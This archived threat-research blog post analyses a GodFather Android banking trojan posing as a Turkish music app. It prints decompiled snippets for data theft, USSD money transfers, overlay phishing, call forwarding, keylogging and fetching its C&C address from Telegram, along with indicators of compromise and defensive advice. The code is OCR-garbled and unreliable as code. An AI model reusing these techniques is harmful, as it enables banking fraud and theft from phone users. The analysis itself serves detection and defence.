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Godfather Malware Returns: Targeting Banking Users and Online

Security

By cybleinc
Published: 2022-12-20 - Archived: 2026-04-06 00:12:00 UTC

Cyble analyzes GodFather, an android malware impersonating as MYT application to steal users' sensitive

information.

Android Malware Mimics MYT Miizik App to Target Turkish Users

GodFather is a notorious Android banking trojan known for targeting banking users, mostly in European countries.
Cyble Research & Intelligence Labs (CRIL) blogged about this GodFather android malware in March 2022 and
explained how it targeted android banking users worldwide. Recently, CRIL identified several GodFather Android
samples masquerading as MY T application. This application has the name MYT Miizik which is written in the

Turkish language. Thus, we suspect this application targets Android users in Turkey.

The GodFather samples analyzed are encrypted using custom encryption techniques to evade detection by the anti-
virus products. Upon installing this application on our testing device, we observed that it uses an icon and name
similar to a legitimate application named MYT Music which is hosted on the Google Play Store with more than 10
million downloads. The image below shows the malicious application’s icon and name on the Android device’s

screen.
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Figure 1 — App Icon and Name Displayed on the Device Screen

The GodFather Android malware, after successful installation on the victim’s device, steals sensitive data such as
SMSs, basic device details, including installed apps data, and the device’s phone number. Apart from these, it can

also control the device screen using VNC, forwarding incoming calls of the victim’s device and injecting banking

URLs.

Technical Analysis

APK Metadata Information

¢ App Name: MYT Miizik
¢ Package Name: com.expressvpn.vpn
e SHAZ256 Hash: 138551c¢d967622832f8a816eal1697a5d08ee66c379d32d8a6bd7fca9fdeaeccd

Figure 2 shows the metadata information of an application.
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Figure 2 — App Metadata Information

Manifest Description

The malware requests 23 different permissions from the user, out of which it abuses at least 6. These dangerous

permissions are listed below:

CYBLE.@ See What Really Looked Like Across

Global | APAC | Europe | North America | META | Australia & New Zealand

Get Your Free Reports Today!

Permissions Description
READ_CONTACTS Access phone contacts

Allows access to phone state, including the current

cellular network information, the phone number and the
READ_PHONE_STATE serial number of the phone, the status of any ongoing

calls, and a list of any Phone Accounts registered on the

device.

Allows an application to initiate a phone call without
CALL_PHONE going through the Dialer user interface for the user to

confirm the call.

Allows the app to write or delete files in the device’s
WRITE_EXTERNAL_STORAGE
external storage

Allows the app to disable the keylock and any associated
DISABLE_KEYGUARD
password security

BIND_ACCESSIBILITY_SERVICE = Used for Accessibility Service

Source Code Review

The malicious application uses the code below to hide/unhide its icon from the device screen.

decryptstring = Strings.decryptString(* zdrosshaz
try

[ctx. getPackageManager ] setComponantEnabledSetting(new Compenentiame | decryptString, STringe,decryptStringl oidezicds 221ab6e TISEET aa Zi 1a ¥ e |
cateh I

tey i
Ctx, getPackageManager |, setConponantEnabledsetting (new Componentiuns [Gecryptstring, Stringe.decryptstring bioezicas 2213595 7, faa b3 1basdds 324 Zezwcaf lelo]
cat k]

Figure 3 — Code to Hide/Unhide Icon
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The below image shows the code snippet used by the malware for collecting Victim’s device details, such as device

model info, installed apps list, etc., and uploading them to the TAs’ server.

TelephonyManager tm = (TelephonyManager) ctx.getSystemService(Stringx.decryptString(”abbagzbcbbascco7adbbefdsalzevbze));

HashMap<String, String> params = new HashMape=();

parans. put(decryptstrings, kdddagcalctx, decryptstrings));

ing decryptStrings = Stringx.decryptString(®977ecd3ad51066c05b57f de7Sbacdd7a" ) ;

ts.requlreNonNull (keec3) ;

params.put(decryptStrings, Stringx.decryptString(*Sasdlsed3sbozlbccscesed732f1d3le"));

params.put(Stringx.decryptString(* 75d0adobo27de6954837cc5f5677fd5f" ), Locale.getDefault().getlanguage() . toLowerCase());

String decryptStrings = Stringx.decryptString(df299318ef9775d8ch7b6de1f0785bTb" )} model name

params.put(decryptString®, Build.MODEL + Stringx.decryptString(®8c1205873ad255cfd785f20057basf71%) + Build.PRODUCT + Stringx.decryptString(”asd
params.put(Stringx.decryptString(*32aalbdl3cfEabob63834786721645ac" ), Bulld.VERSION.RELEASE);

String decryptStringl0 = Stringx.decryptString(*baof12ecda®378899d552aa060cc9940% ) ;

StringBuilder sb = mew StringBuilder();

sb.append(Stringx.decryptString(” fe31b{0b7548cc4341575257b05883c2" ) ) ;

sb.append(tm.getNetworkOperatorMName());

params.put(decryptStringlo, sb.toString()); applist

params.puttstringx.decryptStnngt'|ac7ed81saadsosabad9ad4943f2Dca17 1, kezoafealctx));
params.put(stringx.decryptstring(*fofcas7oeBalbseavisfceoshdoassch™), decryptstrings):

params.put(Stringx.decryptString("f0397a6b04d2f e14a8263d5963229146" ), decryptStrings);
params.put(Stringx.decryptString("3a10521d997dc 7401c 7danozafdbfesa"), eyes):

params.put(Stringx.decryptString( " 7a902do8c32f 42aa3fegaldcooodsafh ), kdddagcalctx, Stringx.decryptString(”aagdSeescdabfob7312011aa7333945a%)))
params.put(Stringx.decryptString( " ddo3dbac0azeesazc2b742880658¢cc1e” ), kdddagcaletx, Stringx.decryptString(”fosbasflo6de242260befa5e20345ech")))
if (kdddaScalctx, decryptString7).contains(Stringx.decryptString("031dS15b11b0fed12921c941e204af8e"))) {

Figure 4 — Code to Collect Basic Device Info

The malware can do money transfers by making USSD (Unstructured Supplementary Service Data) calls without

using the dialer user interface, as shown in the figure below.

Intln: intent = getIntentl);
tring str = intent.getStringSxtralStringx.decryptString! 1593@‘.«..} 7ochde5ebebaodadecsioal)) ;
g rep_str = str.replace(Stringx.decryprString(® 1f 76ss8c3dsaafdlod38cedcaaeadibe” |, Stringx. decryptstrmgf 42957h72al1bSaf B7esecadBez7dadfa ) )
1l ismarmallforgetting.kdddascalthis, Stringx.decryptString(® 45535551 B416502279025a857dd39451° 1) 1= null) {

Intent intent2 = new Intent(Stringx.decryptString(*So36dcf 0df 24betaael5a3add? 2e 09S6RTcof 6667648 03744612001 19a03044% ) ) ;

startactivity(intentZ. setDataluri.parse(Stringx.decryptString(-de27ab1do9ledalSasibl2laf lebletc") + Uri.encodelrep_strlll);

Figure 5 — Code to Transfer Money using USSD

The malware creates an overlay window in the OnAccessibilityEvent method and injects HTML phishing pages when
it receives sunset_cmd from the TAs C&Cserver, as shown in the below image.
try {

if (!smarmallforgetting.kdddaScalgetapplicationContext(), "update_screen").contains("true*)) {
[smarmallforgetting.k26fd779(this, *sunset_cmd®, “true®)}

} catch (Exception e2) {

¥

|windowManager.Laynutparams layoutParams = new WindowManager.LayoutParams(-1, -1, 2032, 2038104, -3
it (Build.VERSION.SDK_INT >= 30} {

WindowMetrics currentWindowMetrics = k6cd4.getCurrentWindowMetrics();

Rect bounds = currentWindowMetrics.getBounds();

= bounds.width();

h = bounds.height();
} else {

Object systemService2 = ctx.getSystemService("display”);

Display display = ((DisplayManager) systemService2).getDisplay(0);

Point point = new Point();

Display.class.getMethod("getRealSize", Point.class).invoke(display, point);

display.getRealSize(point);

w = point.x;

h = point.y;

}
int identifier = ctx.getResources().getIdentifier("status_bar_height", "dimen", "android");
int dimensionPixelSize = identifier = 0 7 ctx.getResources().getDimensionPixelSize(identifier) * 2
layoutParams.width = w + dimensionPixelSize + 200;
layoutParams.height = h + dimensionPixelSize;
if (smarmallforgetting.kdddaScalctx, "sunset_gravity").contains("100")) {
layoutParams.flags = 2040;
} else {
layoutParams.flags = 2008;

}

layoutParams.gravity = 49;

FrameLayout frameLayout2 = kledd;

if (frameLayout2 !'= null) {
framelLayout2.setBackgroundColor (- 16777216) ;

}

Figure 6 — Code to Inject HTML Pages
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Upon receiving the command from the C&C server, the malware forwards Victim’s incoming calls to a number

provided by the TAs’.

Intent intentCallForward = mew Intent(Stringx,decryptString(* tbasde f0df 2ab0etasebSaiadd 72000500 7207 a0 260da0f 31 bIcaScbThedan0® ) » Stringx.decryptString(* e MddTa0ad:

intantCallForvard, sddFlags (258435456)

intentCallForward. setbataluri. frolPart!LStr:m]z du:ryptstrmql OEdSer] 00060315801 5246201510682 ), nueber, Stringx.decryptStringl*42567h72al 1bsat 87eSecadBe Zvdadtac])

conten startactivity (intentCal IForward)
{rumber , squals{Strings decrypiStringl[Bataroldasacasstetacsassgrorameo ) 1] |

loog = rumber + Strings.decryptStranglfd2adedc TSEaUEIeAEa00ESET 1 SOE1AS0Se ZOE0TH20 4530 DoSdaSe 3031 75a4371] ) ; Call Forassding Sloped
Toelse {
loog = rumber + Strings.decryprsteinglfd2adede TS8a0S204R0065F 15061450540 a2 01 16 7626041035038 36b40248b | 11 Call Formaging Sianed

Figure 7 — Code to Forward Victim’s Incoming Calls

The image shown below contains the code through which the malware can steal application key logs.

) decryptString = Stringx.decryptString( {2lelfBscizleeielooecodaladdera]l; o,
sshMap =St trings pAramS = new HashMapes(];
params.p decr-pp(Strlnq, kdddageal cm(ext, decryptStringl ) ;

rings.decryptString( {S6d142247dBd3ac IDEGL ku.s@&hl'k, kol3ec0o3(ki1320ds(datal ] ) ;

Strings.decryptString [ THSEAIT SAbCHOZ Miatec 8574 L4048 050 0 ), Stringx.decryprStringl cdachodef 7e0bESE71a50f 67 M0 ) ) ;

params.put{Strings.decryptString(® 677 fcaBee fd7e20def 5075351510672 ), Strings.decryprString|® ca756aa0h 408 6241 4e80e532040d656° ) ) 5

if (kow2esaf (context)) { msin_wang
indigoferousdackworkers. kBd612d7 (context, homecplasticlaryngitis. k7ezSaslkdddatcalcontext, Stringx.decryptString( Badzafl11076b0345170eales376511711))

Figure 8 — Code to Steal Key Logs

The malware uses the below-shown code to view/control the victim device’s screen using a VNC viewer.

while (true) {
stringl] strarr20 = Bardunclouded.kS256;
if (120 == strarr20.length) {
break;

String StrS2 = strArr20(120];
if (!strS2.contains(decryptString2 + len + decryptString)) {
1204+
b oelse {
-3-_. g strs3 = strarr20{120];
tring strl22 = strS3.replace(decryptString2 + len + decryptString, ilo.crossbar.autsbahn.BulldConfig. VERSION_NAME)
kEfd??thonte:t, Stringx. decryptstrlngl13???d2b06fe2bb3d2595003ﬁ49899157“Il. strlz2z2);

break; wne_allow

Figure 9 — Code to Monitor Victim Device’s Screen

The malicious application gets the C&C server URL from a telegram channel: hxxps://t[.]Jme/varezotukomirza,

through which it communicates with the TAs to get the commands and sends the stolen data from the device.

{ NAtpa LM vare R o TUKOmMirEs
string domain_tele = ssarmallforgetting.k00Blece(Stringx.decryptString(Fefaf7adcesescobisenf fdafze10dar7f 2065 danf 2h81b650desbEc087467d" )] |
Pattern pattern = Pattern.compile(Stringx.decryptString("b7c&88bcdbSd16592a761calebB153d3.535433750479081 18eec 3aa28a 1c0f 152e500d 4deBabd 7431
Matcher matcher = pattern.matcher (domain_tele)
while (matcher.find(}) {

smarmallforgetting.k2ofd779(ctx, Stringx.decryptStringl-65423f111076b0343f 70eB1e537651177 ), matcher.group(l));

smarmallforgetting. k25fd778(ctx, Stringx.decryptStringl®3al10521d967dc7a0lc7dagoaaf dbfesa® ), ka310);

Figure 10 — Malware Gets C&C URL from Telegram Channel

The malware terminates itself after receiving a “killbot” command from TAs C&C server. The below-shown code

snippet depicts the same.

g str = kfldb; kitibot
L g decryptStringl2 = Stringx.decryptStringl{a3fe2e22aca210a3f 70e150313d8ce2al ) ;
if fstr contains(decryptStringl2)) {
k2ofd779(ctx, decryptStringl2, decryptStringd);
Intent appSettingsintent = new Intent(decryptStringS, Uri.parse(Stringx.decryptStringl-obfbab7af0ad?f sbab2a0daebscebslat) + ctx,
appSettingsIntent.addFlags (268435456) ;
ctx.startActivity (appSettingsIntent) ;
b else if (kfidb.contains(Stringx.decryptStringl=sdechasldod7736021a4901cqach13sd"))) {
try {

tringl] spld = kfldb.trim().split{decryptString);
l:'t): startService(new Intent(ctx, searchersharter.class). putExtra{stringx.decryptString(®dcB373%eethcBefbbbe371 108507529 ),

Figure 11 — Code to Terminate Itself

The malware uses the below commands to extract sensitive information from the user’s device.
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Command-List
startUSSD
sentSMS
startApp
startforward
killbot
send_all_permission
vnc_open
keylog_active
unlock_screen
sunset

startscreen

Conclusion

GodFather Android Banking trojan was seen targeting European users at the beginning of the year 2022. Now, it
comes back with advanced encryption techniques used to obfuscate its code. This shows the TA’s ability to

continuously enhance their techniques to target people with avoiding detections from Anti-virus programs.

As per the research, such malware is distributed via sources other than Google Play Store. As a result, practicing
basic cyber hygiene across mobile devices and online banking applications effectively prevents such malware from

compromising your devices.

Our Recommendations

We have listed some essential cybersecurity best practices that create the first line of control against attackers. We

recommend that our readers follow the best practices given below:

How to prevent malware infection?

e Download and install software only from official app stores like Google Play Store or the iOS App Store.

e Use a reputed anti-virus and internet security software package on your connected devices, such as PCs,
laptops, and mobile devices.

e Use strong passwords and enforce multi-factor authentication wherever possible.

» Enable biometric security features such as fingerprint or facial recognition for unlocking the mobile device
where possible.

» Be wary of opening any links received via SMS or emails delivered to your phone.

¢ Ensure that Google Play Protect is enabled on Android devices.
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o Be careful while enabling any permissions.

¢ Keep your devices, operating systems, and applications updated.
How to identify whether you are infected?

e Regularly check the Mobile/Wi-Fi data usage of applications installed on mobile devices.

¢ Keep an eye on anti-viruses and Android OS alerts and take necessary actions accordingly.
What to do when you are infected?t

¢ Disable Wi-Fi/Mobile data and remove SIM cards — as in some cases, the malware can re-enable the Mobile
Data.

e Perform a factory reset.

» Remove the application in case a factory reset is not possible.

o Take a backup of personal media Files (excluding mobile applications) and perform a device reset.
What to do in case of any fraudulent transaction?

e In case of a fraudulent transaction, immediately report it to the concerned bank.
What should banks do to protect their customers?

» Banks and other financial entities should educate customers on safeguarding themselves from malware attacks

via telephone, SMS, or emails.

MITRE ATT&CK® Techniques

Tactic Technique ID Technique Name
Initial Access T1476 Deliver Malicious App via Other Means.
Initial Access T1444 Masquerade as a Legitimate Application
Execution T1575 Native Code
Collection T1513 Screen Capture

T1436 Commonly Used Port
Command and Control

T1616 Call Control

Indicators of Compromise (I0Cs)

. Indicator L.
Indicators Description

Type

40a099d574cd588903d9cf8701da8d006e58be406049d26a61cc291720270b60 SHA256 Malicious
da021a501372f8de9a1d2c11802ec452f218a1c3fd39356151acae076c3304£f APK
76cd894001f01£56299079b7eace162947b51b8b3a587¢26709613e42279b850
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e6fb245a7dd02af549e2d62f42413dcacda0fb847ee84d52b0f69c8219f3e81d
e67b8b78550396f542ded77d2118487aclafb0d4ac6b70774889bbb4e6d88265
b58b9a2ba58813ad4fbf2f6349a522f9a49bf8b3190237eb9c43c1d085f4497¢
3f7eae6cc61fdc2553a2acdede69be84945a7a724b632dea3ff8466f74b56249
8d07967b9253951b52c631383a3dde8513572b3c996¢338819f4e12a7a60bf23
7d9d89371f0409660136ad7a238e345b140b9359fae186814ec9572996£373a6
536e9a5b341eb6e0708e58f65679232513b2896674b8b2615ff93c58feldbcf9
50df8248535002052622f00b691bd60ad735e16e685a9d7b95a0850dc4229ad3
363eb5d89b43946a4af03e2399e47125bec822729d764b08004eb492212d51db
138551cd967622832f8a816ea1697a5d08ee66c379d32d8a6bd7fca9fdeaeccs
0932a99030a80786£8215e5cb5c879708848bd62141ff4672e23823ddc562ac?
06b0bebc1422a969ef10a0f13fb253b0697d079d7126551370b9757da6564c9d
d981bccfde804bb662edacb1e7a97298b4a081c02b498a01abfeec74a60b8fdc
61e67d1ce1577d5a08d0ae970ac20fa5f0b8db3660b6c6c83189130be3039675
93a8d9d57a816b1c0401660256db8e37d29a92a43cd7d9668f9d05db820aa572
896301f184ff67a0fa9570e4275eafe66ab907636e381b86b87d28532aealc82
55183db5a190f08ce9e1589b2b7186ce64523c85c2c8b2ea03c52315b529b451
32¢7ef93£3329709bf38b7d6ea5f076fb8bd86d36785ed811d99efch98f8ae58

Telegram
Channel
. Hosting
hxxps://t[.]me/varezotukomirza URL
Encrypted
C&C

Server

Source: https://blog.cyble.com/2022/12/20/godfather-malware-returns-targeting-banking-users/
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